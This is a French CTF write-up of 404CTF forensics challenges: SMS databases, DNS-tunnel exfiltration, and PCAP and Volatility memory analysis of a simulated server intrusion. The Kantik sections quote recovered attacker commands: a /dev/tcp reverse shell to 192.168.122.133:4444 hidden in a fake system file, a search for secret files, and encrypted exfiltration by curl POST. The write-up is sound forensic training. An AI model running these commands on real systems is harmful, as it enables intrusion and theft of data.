404CTF - Forensics
Analyse Forensique
Curieux SMS (Facile)
Plusieurs chercheurs sont suspectés d’avoir divulgué des informations classifiées. Leurs téléphones ont étés saisis et une image forensique de la base de données SMS a été extraite.
Résolution
On nous donne 3 bases de données. Dans la première, dans la table sms on peut lire: Le mot de passe pour accéder au dossier est 404CTF{m4r13_.
Dans la base 2, table conversations, on a cur13_.
Dans la base 3, table trheads on a 1898}.
Première tentative: 404CTF{m4r13_cur13_1898}. Raté!
On fouille un peu plus: on voit une image labo.png dans la table part avec la valeur 106 pour la colonne chset.
On peut donc aller ouvrir le fichier 106 avec un visionneur d’images. Elle affiche r4d1um_.
on peut donc essayer 404CTF{m4r13_cur13_r4d1um_1898}=> Réussi!
Le flag est donc 404CTF{m4r13_cur13_r4d1um_1898}.
Exfiltration Kantik [1/3] (Facile)
Des amis de l’Institut National de Calcul Kantik vous demandent votre aide suite à une attaque informatique qu’ils ont subie récemment. Il semblerait que l’attaquant ait pu prendre possession du serveur où étaient stockées leurs données de recherche et a supprimé la plupart de ces données que le laboratoire avait accumulées. Ils mettent à votre disposition une capture réseau du début de l’attaque jusqu’à l’exfiltration des données afin que vous les éclairiez sur l’intrusion.
En analysant la capture, récupérez les informations suivantes: - IP de l’attaquant - IP du serveur victime de l’attaque - Version du serveur Apache sur le serveur - Numéro de la CVE exploitée pour prendre possession du serveur - Port cible du reverse shell que l’attaquant met en place sur le serveur
Format du Flag : 404CTF{10.5.1.9_10.1.1.4_6.10.2_CVE-1999-12345_80}” où les informations sont indiquées dans l’ordre demandé ci-dessus et séparées par des ”_“
Résolution
On note les éléments suivants d’après l’énnoncé:
- Serveur Apache
- Reverse Shell
En observant les paquets, on tombe sur le N° 131 112 qui indique:
Frame 131112: Packet, 999 bytes on wire (7992 bits), 999 bytes captured (7992 bits)Transmission Control Protocol, Src Port: 80, Dst Port: 34946, Seq: 1, Ack: 19, Len: 927 Source Port: 80 Destination Port: 34946[...]Hypertext Transfer Protocol HTTP/1.1 200 OK\r\n Date: Thu, 30 Apr 2026 10:50:36 GMT\r\n Server: Apache/2.4.66 (Debian)\r\n[...]Donc on cherche une potentielle CVE sur Apache 2.4.66.
On tombe sur la CVE-2026-23918 qui a l’air de matcher ce qu’on cherche.
L’exploit se ferait par reset rapide et successif des connections, soit une séquence [SYN] suivie de [RST, ACK]. C’est effectivement un pattern qu’on retrouve très fréquemment au début de la capture.
On peut alors déjà déterminer l’adresse de l’attaquant, de la victime, et ce qui semble être la CVE exploitée pour le flag.
Nous reste à trouver le port du reverse shell. Et là, aucune idée!
La question est donc: cette CVE est-elle la bonne CVE? Parce qu’elle parle du protocole HTTP/2 qui n’est pas du tout utilisé dans cette capture!
Alors, retour à la case départ.
Un reverse shell inclus forcément des commandes linux (car OS Debian) dans les trames. Alors sur Wireshark, on peut ajouter la colonne Data dans la liste des colonnes suivies. On voit appparaître alors les éléments suivants:
0000 08 00 00 00 00 00 00 02 00 01 04 06 52 54 00 f5 ............RT..0010 46 08 98 5a 45 00 00 66 92 6f 40 00 40 06 31 9b F..ZE..f.o@.@.1.0020 c0 a8 7a b1 c0 a8 7a 85 00 17 88 2a 84 3f 3a af ..z...z....*.?:.0030 bf 7d 8d 64 80 18 01 fd 76 e0 00 00 01 01 08 0a .}.d....v.......0040 c6 34 85 0f 5e 62 08 42 4c 61 73 74 20 6c 6f 67 .4..^b.BLast log0050 69 6e 3a 20 54 68 75 20 41 70 72 20 33 30 20 30 in: Thu Apr 30 00060 36 3a 35 30 3a 30 34 20 45 44 54 20 32 30 32 36 6:50:04 EDT 20260070 20 6f 6e 20 74 74 79 31 0d 0a on tty1..Ce qui serait signe d’un shell. Puis à la suite, on voit des whoami, et autres commandes linux. Ceci laisse entendre que le reverse shell est en place, et utilise le protocole TELNET.
Puis, paquet 131 393:
0000 08 00 00 00 00 00 00 02 00 01 00 06 52 54 00 e4 ............RT..0010 5e e9 7a b1 45 00 00 80 32 a8 40 00 40 06 91 48 ^.z.E...2.@.@..H0020 c0 a8 7a 85 c0 a8 7a b1 88 2a 00 17 bf 7d 8d b6 ..z...z..*...}..0030 84 3f 3f 99 80 18 02 0c 76 fa 00 00 01 01 08 0a .??.....v.......0040 5e 62 56 ea c6 34 d3 b6 65 63 68 6f 20 27 62 61 ^bV..4..echo 'ba0050 73 68 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 sh -i >& /dev/tc0060 70 2f 31 39 32 2e 31 36 38 2e 31 32 32 2e 31 33 p/192.168.122.130070 33 2f 34 34 34 34 20 30 3e 26 31 27 20 3e 3e 20 3/4444 0>&1' >>0080 2f 6f 70 74 2f 2e 73 79 73 74 65 6d 5f 75 70 64 /opt/.system_upd0090 61 74 65 0d ate.L’attaquant va donc utiliser /dev/tcp pour ouvrir une connection vers son IP 192.168.122.133 sur le port 4444 grâce à la commande:
echo 'bash -i >& /dev/tcp/192.168.122.133/4444 0>&1'Donc, la CVE n’est clairement pas une CVE Apache, mais une CVE TELNET! On tombe alors sur la CVE-2026-24061 qui permet à un attaquant de se connecter en tant que root, ce qui matche notre attaque.
On peut alors composer le flag pour le chall:
404CTF{192.168.122.133_192.168.122.177_2.4.66_CVE-2026-24061_4444}
Notes
Ce challenge mets en évidence au début une suite de requêtes entre l’attaquant et la cible, notamment avec les requêtes GET /HNAP et GET /evox/about.
L’attaquant a donc scanné la cible (probablement avec nmap), avant de trouver le serveur TELNET disponible, et utilise alors la CVE (dont un exemple d’exploit est public) afin de se connecter au serveur.
D’après ce site, l’injection se fait dans la commande de login, soit après USER=. Hors, je n’ai pas réussi à obtenir cette donnée dans la capture.
Extractions d’ADNs (Facile)
Les résultats confidentiels d’une expérience ont fuité. À vous de découvrir comment. /!\ Attention à ne visiter aucun lien contenu dans cette capture réseau /!\
Résolution
On nous donne une capture PCAP.
Dans celle-ci, deux protocoles: HTTP/TCP et DNS.
Mon regard se porte d’abord sur les HTTP. A première vue, rien de particulier ne sort de ces requêtes. Des requêtes API sans intérêt sur des URL qui n’existent pas.
Par contre, côté DNS, c’est plus intéressant!
Les requêtes sont toutes faites vers des noms de domaines avec des sous-domaines, par exemple www.kjeumrrwaeaaav2fijif.goog1e.com. Chaque sous-domaine fait 20 caractères, sauf le dernier.
Ces caractères sont probablement des données encodées. On peut alors essayer de les décoder depuis la base32.
En convertissant chunk par chunk, rien ne sort. Par contre, si on concatène le tout et qu’on convertis avec CyberChef, on voit alors sur les premiers octets RIFF6WEBP.
Nos données sont donc une image!
Avec un petit script Python pour extraire tout ceci:
import base64
chunks = [ "kjeumrrwaeaaav2fijif", "mubyjquqcaaaf4vucdaa", # ... tous tes chunks ... "77j7i4aaa"]
concat = ''.join(chunks).upper()pad = (8 - len(concat) % 8) % 8concat += '=' * pad
with open("image.webp", "wb") as f: f.write(base64.b32decode(concat))Puis, pour confirmer:
file image.webpimage.webp: RIFF (little-endian) data, Web/P imageEt si on ouvre notre image:

Exfiltration Kantik [2/3] (Moyen)
L’attaquant a aussi supprimé une base de données qui contenait une donnée importante pour le laboratoire, fort heureusement une capture mémoire a pu être effectuée peu avant qu’il la supprime. Analysez les captures à votre disposition afin de récupérer cet élément secret.
Résolution
Première utilisation de Volatility 3.
En partant du principe que 95% du parc informatique est sous linux, on peut essayer de lire la bannière:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $vol -f memory_dump.lime banners.BannersVolatility 3 Framework 2.28.1Progress: 100.00 PDB scanning finishedOffset Banner
0xb7cb0d0 Linux version 6.1.0-44-amd64 (debian-kernel@lists.debian.org) (gcc-12 (Debian 12.2.0-14+deb12u1) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09)Donc Debian avec Kernel 6.1.0-44, on récupère les symboles ici, et on va s’amuser avec!
Si on cherche une BDD, alors il devait y avoir un service d’un serveur BDD:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.psaux.PsAuxVolatility 3 Framework 2.28.1Progress: 100.00 Stacking attempts finishedPID PPID COMM ARGS[...]594 1 apache2 /usr/sbin/apache2 -k start599 594 apache2 /usr/sbin/apache2 -k start602 594 apache2 /usr/sbin/apache2 -k start674 1 mariadbd /usr/sbin/mariadbd[...]Donc -> serveur MariaDB (et apache)
Avec un peu de chance, la BDD était en train d’écrire au moment du dump:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.lsof.Lsof | grep mariadb=> rien
On va faire un extract des fichiers chargés en RAM:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.pagecache.RecoverFsCa va permettre de mieux naviguer dans ce qui est chargé, puis on trouve:
recovered_fs.tar.gz\efbd91e2-dbb7-497d-9514-41a8dedecdf3\var\lib\mysql\quantum_lab_dbDonc bien une BDD (nommée quantum_lab_db), faut trouver un moyen de l’extraire
Elle est probablement en RAM donc on va extraire la mémoire du PID mariadb:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.proc.Maps --pid 674 --dumpOn trie alors les fichiers par taille, puis on regarde dans chacun avec strings:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $strings pid.674.vma.0x7f3c6a000000-0x7f3c74000000.dmpPuis on trouve:
NDA0Q1RGe0NoNFRfZDNfU2NoUjBkMW5nM3JfPl9DaDEzblRfRDNfU0NocjBEMW5HM1J9
# En base 64 devient404CTF{Ch4T_d3_SchR0d1ng3r_>_Ch13nT_D3_SChr0D1nG3R}Le flag est donc 404CTF{Ch4T_d3_SchR0d1ng3r_>_Ch13nT_D3_SChr0D1nG3R}
Exfiltration Kantik [3/3] (Moyen)
Le laboratoire vous a chargé de récupérer un rapport important figurant dans les données exfiltrées. Prouvez-leur que c’est un jeu d’enfant pour vous.
Résolution
On remarque sur la fin de la capture PCAP un POST sur /upload.
On suppose donc que c’est l’attaquant qui a exfiltré le fichier sensible.
La donnée est:
53616c7465645f5f02c0c51b22499ee176ad774f078d046a6c70[...]Si on convertis ça en string:
Salted__[...]Donc la donnée a été chiffrée. Il a probablement généré sa clé directement sur le serveur!
(venv) ┌─[✗]─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.bash.BashVolatility 3 Framework 2.28.1Progress: 100.00 Stacking attempts finishedPID Process CommandTime Command[...]1029 bash 2026-04-30 11:00:15.000000 UTC export ENCRYPT_KEY=$(printf '%x' $(date +%s))[...]1029 bash 2026-04-30 11:00:15.000000 UTC echo $ENCRYPT_KEY[...]1029 bash 2026-04-30 11:00:15.000000 UTC find /opt /home -type f \( -iname '*confidentiel*' -o -iname '*secret*' -o -iname '*password*' \) 2>/dev/null1029 bash 2026-04-30 11:00:15.000000 UTC curl -X POST -H 'Content-Type: application/octet-stream' --data-binary @/tmp/.encrypted_data.enc http://192.168.122.133:8080/upload 2>&11029 bash 2026-04-30 11:00:15.000000 UTC openssl enc -aes-256-cbc -salt -in /tmp/.backup/data.tar.gz -out /tmp/.encrypted_data.enc -k $ENCRYPT_KEY[...]Sa clé a donc bien été générée sur le serveur! Il faut alors essayer de la retrouver.
On peut potentiellement estimer la date:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $vol -s ~/CTF/Tools/volatility3/symbols/ -f memory_dump.lime linux.boottime.BoottimeVolatility 3 Framework 2.28.1Progress: 100.00 Stacking attempts finishedTIME NS Boot Time
4026531834 2026-04-30 10:38:27.641539 UTCLa machine est up depuis 10h38, du coup on va pouvoir bruteforcer le tout:
#!/usr/bin/env python3import subprocessfrom datetime import datetime, timezone
ENCRYPTED_FILE = "encrypted_data.enc"OUTPUT_FILE = "decrypted.tar.gz"
# Boot time : 2026-04-30 10:38:27 UTCSTART = int(datetime(2026, 4, 30, 10, 38, 27, tzinfo=timezone.utc).timestamp())END = int(datetime(2026, 4, 30, 23, 59, 59, tzinfo=timezone.utc).timestamp())
print(f"[*] Bruteforce de {START} à {END} ({END - START} tentatives)")
for ts in range(START, END + 1): key = format(ts, 'x')
result = subprocess.run( ["openssl", "enc", "-d", "-aes-256-cbc", "-in", ENCRYPTED_FILE, "-out", OUTPUT_FILE, "-k", key], capture_output=True )
if result.returncode == 0: print(f"\n[+] CLÉ TROUVÉE : {key} (timestamp {ts})") print(f"[+] Date : {datetime.fromtimestamp(ts, tz=timezone.utc)} UTC") print(f"[+] Résultat : {OUTPUT_FILE}") break
if ts % 1000 == 0: pct = (ts - START) / (END - START) * 100 print(f"[-] {datetime.fromtimestamp(ts, tz=timezone.utc)} UTC ... {pct:.1f}%", end='\r')Pour exécuter, on va donner la data dans un fichier avec la donnée en hexa:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $file hex_data.txthex_data.txt: ASCII text, with very long lines (62912)(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $xxd -r -p hex_data.txt > encrypted_data.enc(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $file encrypted_data.encencrypted_data.enc: openssl enc'd data with salted passwordOn a donc bien la donnée chiffrée dans encrypted_data.enc. on peut alors bruteforce:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $python3.11 bruteforce.py[*] Bruteforce de 1777545507 à 1777593599 (48092 tentatives)
[+] CLÉ TROUVÉE : 69f33207 (timestamp 1777545735)[+] Date : 2026-04-30 10:42:15+00:00 UTC[+] Résultat : decrypted.tar.gzMalheureusement, si on regarde le .tar.gz, alors on se rend compte qu’on peut toujours pas le lire: ce n’est pas un .tar.gz.
Donc, la clé n’est pas la bonne.
On peut améliorer notre bruteforce en rajoutant une vérification des magic bytes:
import subprocessfrom datetime import datetime, timezone
ENCRYPTED_FILE = "encrypted_data.enc"OUTPUT_FILE = "decrypted.tar.gz"
START = int(datetime(2026, 4, 30, 10, 38, 27, tzinfo=timezone.utc).timestamp())END = int(datetime(2026, 4, 30, 23, 59, 59, tzinfo=timezone.utc).timestamp())
print(f"[*] Bruteforce de {START} à {END} ({END - START} tentatives)")
for ts in range(START, END + 1): key = format(ts, 'x') result = subprocess.run( ["openssl", "enc", "-d", "-aes-256-cbc", "-in", ENCRYPTED_FILE, "-out", OUTPUT_FILE, "-pass", f"pass:{key}", "-md", "sha256"], capture_output=True ) if result.returncode == 0: # Vérifier les magic bytes gzip with open(OUTPUT_FILE, 'rb') as f: magic = f.read(2) if magic == b'\x1f\x8b': print(f"\n[+] CLÉ TROUVÉE : {key} (timestamp {ts})") print(f"[+] Date : {datetime.fromtimestamp(ts, tz=timezone.utc)} UTC") break
if ts % 1000 == 0: pct = (ts - START) / (END - START) * 100 print(f"[-] {datetime.fromtimestamp(ts, tz=timezone.utc)} ... {pct:.1f}%", end='\r')Auquel cas on aura une clé différente:
(venv) ┌─[gabrog@parrot]─[~/CTF/4042026/forensics/exfiltration-kantik-2-3]└──╼ $python3.11 bruteforce.py[*] Bruteforce de 1777545507 à 1777593599 (48092 tentatives)[-] 2026-04-30 10:46:40+00:00 ... 1.0%[+] CLÉ TROUVÉE : 69f33465 (timestamp 1777546341)[+] Date : 2026-04-30 10:52:21+00:00 UTCOn peut alors regarder le contenu de l’archive, et on y trouve un fichier .pdf
Quand on l’ouvre, on a alors cette chaîne:
3430344354467B
C’est de l’hexa, convertis en ASCII:
404CTF{
Donc c’est le début du flag. Si on récupère l’hexa complet:
3430344354467b495f53573334525f544831535f31535f4e30545f345f4a304b335f31545f5233344c4c595f5730524b355f42334c314556335f4d337d devient 404CTF{I_SW34R_TH1S_1S_N0T_4_J0K3_1T_R34LLY_W0RK5_B3L1EV3_M3}.
← Back to blog